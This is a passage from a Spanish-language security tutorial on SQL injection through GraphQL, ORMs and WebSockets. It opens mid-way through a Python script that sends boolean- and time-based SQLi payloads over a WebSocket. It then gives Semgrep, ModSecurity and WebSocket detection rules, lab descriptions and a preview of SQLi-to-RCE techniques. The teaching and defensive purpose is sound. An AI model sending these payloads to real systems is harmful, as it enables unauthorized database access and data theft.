        false_msg = {"tipo": "buscar", "termino": "laptop' AND 1=2-- "}
        await ws.send(json.dumps(false_msg))
        false_response = json.loads(await ws.recv())
        false_total = false_response.get('total', 0)
        
        print(f"[*] TRUE total: {true_total} | FALSE total: {false_total}")
        
        if true_total != false_total:
            print("[+] ¡SQLi Boolean-Based confirmado en WebSocket!")
            print(f"    Diferencia: {true_total} vs {false_total}")
        
        # Test Time-Based
        start = time.time()
        time_msg = {"tipo": "buscar", "termino": "laptop' AND SLEEP(5)-- "}
        await ws.send(json.dumps(time_msg))
        await ws.recv()
        elapsed = time.time() - start
        
        if elapsed > 4:
            print(f"[+] ¡SQLi Time-Based confirmado en WebSocket! Delay: {elapsed:.2f}s")

asyncio.run(test_ws_sqli())

16. Detección Defensiva: Auditar ORMs y GraphQL en Producción

Auditoría estática de ORMs en CI/CD

# GitHub Actions — semgrep para detectar ORM escape hatches
name: SQLi ORM Audit
on: [push, pull_request]

jobs:
  audit:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
      - name: Run Semgrep ORM rules
        run: |
          pip install semgrep
          # Reglas para Django
          semgrep --config "p/django" --severity ERROR src/
          # Reglas para SQLAlchemy
          semgrep --config "p/sqlalchemy" src/
          # Regla personalizada para raw queries con f-strings
          semgrep --config - src/ << 'EOF'
          rules:
            - id: raw-query-fstring
              pattern: |
                $ORM.raw(f"...")
              message: "Possible SQLi: raw() con f-string"
              severity: ERROR
              languages: [python]
            - id: text-fstring
              pattern: |
                text(f"...")
              message: "Possible SQLi: text() con f-string"
              severity: ERROR
              languages: [python]
          EOF

Reglas de WAF específicas para GraphQL

# Nginx con ModSecurity — detectar SQLi en requests GraphQL
SecRule REQUEST_URI "@contains /graphql" \
    "id:9001,phase:2,block,\
    chain,\
    msg:'SQLi attempt in GraphQL query'"
    SecRule REQUEST_BODY "@rx (?i)(union\s+select|sleep\s*\(|benchmark\s*\(|extractvalue\s*\()" \
    "t:urlDecodeUni,t:lowercase"

Monitoreo de WebSocket en producción

// Middleware de logging para WebSocket — registrar todos los mensajes
// para análisis de seguridad posterior
wss.on('connection', function(ws, req) {
  const clientIP = req.socket.remoteAddress;
  
  ws.on('message', function(message) {
    // Log estructurado para SIEM
    console.log(JSON.stringify({
      timestamp: new Date().toISOString(),
      type: 'ws_message',
      client_ip: clientIP,
      message_length: message.length,
      // No loguear el contenido completo en prod si contiene PII
      // Pero sí loguear un hash para correlación
      message_hash: crypto.createHash('sha256').update(message).digest('hex').slice(0, 16)
    }));
    
    // Detección de patrones SQLi en tiempo real
    const SQL_PATTERNS = /('|\b(union|select|sleep|benchmark|extractvalue)\b)/gi;
    if (SQL_PATTERNS.test(message)) {
      console.error(JSON.stringify({
        type: 'security_alert',
        alert: 'Possible SQLi in WebSocket message',
        client_ip: clientIP,
        timestamp: new Date().toISOString()
      }));
      // Opcional: cerrar la conexión
      ws.close(1008, 'Security policy violation');
    }
  });
});

17. Laboratorio en el Cyber Range

Los labs del Tomo 4 cubren las tres superficies modernas:

Lab SQLi-M01: GraphQL SQLi — introspección, identificación de argumentos vulnerables, explotación Boolean-Based en variable de filtro

Lab SQLi-M02: GraphQL ORDER BY injection — argumento de ordenación sin allowlist, Time-Based Blind SQLi

Lab SQLi-M03: GraphQL batching — rate limit bypass y extracción paralela acelerada

Lab SQLi-M04: Django ORM — encontrar el .raw() vulnerable en una app Django real, explotar con Error-Based

Lab SQLi-M05: SQLAlchemy — text() con concatenación en app Flask, explotar con UNION-Based

Lab SQLi-M06: Prisma $queryRawUnsafe — identificar el método en el source code del lab, construir el payload TypeScript compatible

Lab SQLi-M07: WebSocket SQLi — interceptar con Burp, modificar mensaje, Boolean-Based Blind exploitation

Lab SQLi-M08: Cadena completa moderna — GraphQL para mapeo del schema → identificar resolver vulnerable → ORM escape hatch → exfiltración via WebSocket channel

El Lab SQLi-M08 es el más avanzado de la segunda trilogía — requiere usar tres herramientas diferentes y aplicar técnicas de los cuatro tomos.

→ Acceder al Cyber Range


18. Lo que Viene en el Tomo 5

El Tomo 5 cubre el escenario donde el SQLi se convierte en algo mucho más serio que lectura de datos:

SQLi → RCE: La Cadena Completa

  • MSSQL xp_cmdshell: activación cuando está deshabilitado, escalada de privilegios de BD a comandos del sistema operativo
  • MySQL UDFs (User Defined Functions): cargar una librería maliciosa via SQLi para ejecutar código del servidor
  • MySQL INTO OUTFILE + web shell: escribir un archivo PHP malicioso en el webroot via SQLi
  • PostgreSQL COPY TO PROGRAM: ejecutar comandos del OS usando la instrucción COPY
  • Oracle UTL_FILE y Java stored procedures: los vectores de RCE específicos de Oracle
  • Casos reales: SQLi → RCE documentados en bug bounty y CVEs de 2025-2026
  • Metodología de escalada responsable: cómo demostrar RCE en un reporte de bug bounty sin ejecutar comandos destructivos en el sistema

Glosario Técnico — Tomo 4

TérminoDefinición
GraphQLLenguaje de query para APIs que permite al cliente especificar exactamente qué datos necesita
ResolverFunción en el servidor GraphQL que procesa cada field solicitado — aquí puede estar el SQLi
IntrospecciónFeature de GraphQL que devuelve el schema completo de la API — invaluable para hunting
BatchingEnviar múltiples operaciones GraphQL en un solo request HTTP
ORMObject-Relational Mapper — abstracción que mapea objetos de código a tablas de BD
Escape hatchMétodo del ORM que bypasea la parametrización automática para queries raw
HQLHibernate Query Language — lenguaje de query de Hibernate, vulnerable a inyección propia
Template literalSintaxis JavaScript con backticks (`) — en Prisma, parametriza automáticamente
$queryRawUnsafeMétodo de Prisma explícitamente inseguro — el nombre advierte el riesgo
WebSocketProtocolo de comunicación bidireccional persistente entre cliente y servidor
literal()Función de Sequelize para insertar SQL raw — escape hatch de alto riesgo
col()Función de Sequelize para referenciar columnas — vulnerable a ORDER BY injection
ClairvoyanceHerramienta para descubrir schemas GraphQL cuando la introspección está deshabilitada
InQLExtensión de Burp Suite para auditar endpoints GraphQL

Referencias Técnicas

  • Hive Security — "SQL Injection 2026: Blind, Time-Based, ORM Bypass, and WAF Evasion" (May 2026)
  • Propel Code — "SQL Injection in ORMs 2025: Why Modern Frameworks Still Aren't Safe" (Ago 2025)
  • OWASP SecureCodingHub — "Injection (OWASP A03): Examples, Detection & Fixes 2026" (May 2026)
  • Builder AI2SQL — "SQL Injection: How to Prevent It (2026 Guide)" (Mar 2026)
  • AFine — "SQL Injection in the Age of ORM: Risks, Mitigations, and Best Practices" (Feb 2026)
  • CVE-2024-42005 — Django SQL Injection via .values() with JSON keys
  • CVE-2023-22794 — Rails ActiveRecord SQL Injection
  • CVE-2020-25638 — Hibernate SQL Injection via createNativeQuery()
  • PortSwigger Web Security Academy — GraphQL API vulnerabilities
  • GitHub — nikitastupin/clairvoyance (GraphQL schema discovery)
  • GitHub — doyensec/inql (GraphQL Security Testing Burp Extension)

¿Encontraste SQLi en un resolver de GraphQL o en un escape hatch de ORM? El Discord de TribuCibernética tiene un canal #sqli-hunting donde la comunidad discute técnicas específicas por stack tecnológico. Comparte tu hallazgo.

→ Leer Tomo 3: Second-Order, WAF Bypass y Out-of-Band
→ Leer Tomo 5: SQLi → RCE — La Cadena Completa
→ Practicar Labs SQLi-M01 al M08 en el Cyber Range
→ Unirse al Discord de TribuCibernética


© 2026 TribuCibernetica. Contenido publicado bajo fines educativos y de investigación en seguridad autorizada. El uso de estas técnicas contra sistemas sin autorización explícita constituye un delito penal en México (Artículo 211 bis del Código Penal Federal) y en la mayoría de jurisdicciones internacionales. TribuCibernética no se hace responsable del uso indebido de la información aquí presentada.


[!TIP] ¿Quieres practicar esta vulnerabilidad? Pon a prueba tus conocimientos en un entorno controlado. Únete a otros hackers y explora el Cyber Range de TribuCibernética.